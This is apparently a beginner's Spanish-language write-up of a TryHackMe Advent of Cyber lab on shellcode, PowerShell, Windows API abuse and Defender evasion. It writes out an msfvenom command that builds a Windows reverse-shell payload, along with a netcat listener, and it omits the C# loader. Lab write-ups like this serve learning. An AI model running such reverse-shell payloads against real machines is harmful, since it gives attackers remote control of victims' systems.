Advent of Cyber día 7

Objetivos:


Shellcode

Lo primero es entender algunos conceptos, ya que shellcode es un concepto un poco más avanzado.

Shellcode es un trozo de código usado por actores maliciosos durante exploits, como lo ataques de buffer overflow donde se inyectan comandos a un sistema vulnerable, lo que lleva a la ejecución arbitraria de comandos o darle el control de una máquina. Usualmente se escribe en Assembly y se entrega a través de diversas técnicas según la vulnerabilidad.

Powershell es un lenguaje de scripting y CLI en Windows para automatizar y manejar configuraciones. Le permite a un usuario interactuar con los componentes del sistema y es ampliamente usado por administradores. Sin embargo se suele usar por atacantes como una herramienta post-explotación porque tiene acceso profundo a los recursos del sistema y puede correr scripts directamente en memoria, evadiendo algunos mecanismos de detección.

Windows defender es una utilidad de seguridad de Windows que previene el lanzamiento de scripts maliciosos escaneando el código mientras corre. Las formas de evadirlo comunes incluyen la ofuscación de scripts y la inyección reflectiva, donde el código se carga en memoria.

Windows API le permite a los programas interactuar con el sistema operativo, dándoles acceso a recursos como la memoria y las redes. Es el puente entre la aplicación y el SO para manejar la memoria. Algunas funciones comunes que usan los atacantes son VirtualAlloc, CreateThread, WaitForSingleObject.

Acceder a WAPIa través de la reflección de powershell es una técnica avanzada que usa interacción dinámica. Permite al atacante llamar funciones de WAPI diréctamente cuando se ejecutan, esto permite manipular procesos de bajo nivel.

Reverse Shell es un tipo de conexión en la que el objetivo inicia la conexión hacia tu máquina.


msfvenom

Para crear el reverse shell, utilizaremos una herramienta llamada msfvenom.
Ejecutamos el siguiente comando en la termina:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IPLOCAL LPORT=1111 -f powershell

Ahora para que esto funcione simplemente simularemos que logramos acceder a una máquina y vamos a ejecutar el código.
Se nos provee de un código en C# porque siendo sincero, esto es un poco complejo para un novato como yo.


Shellcode

Aquí iba el código provisto por TryHackMe pero windows defender no me deja hacerlo

A grandes rasgos el código hacía lo siguiente:

Ahora, en nuestro kali ejecutamos el comando nc -nvlp 1111 para crear un puerto de escucha y esperar una conexión.

En la máquina víctima, corremos todo el código C# que mencionamos y en nuestra máquina de ataque aparece el siguiente mensaje


Bandera

Para obtenerla, debemos realizar el mismo proceso pero conectarnos al puerto 4444, por lo tanto ejecutamos un nuevo msfvenom pero cambiando el puerto, ejecutamos el reverse shell, esperamos un rato y la bandera aparecerá.

Hemos completado el día 8

Ahora toca el día Advent of Cyber día 9.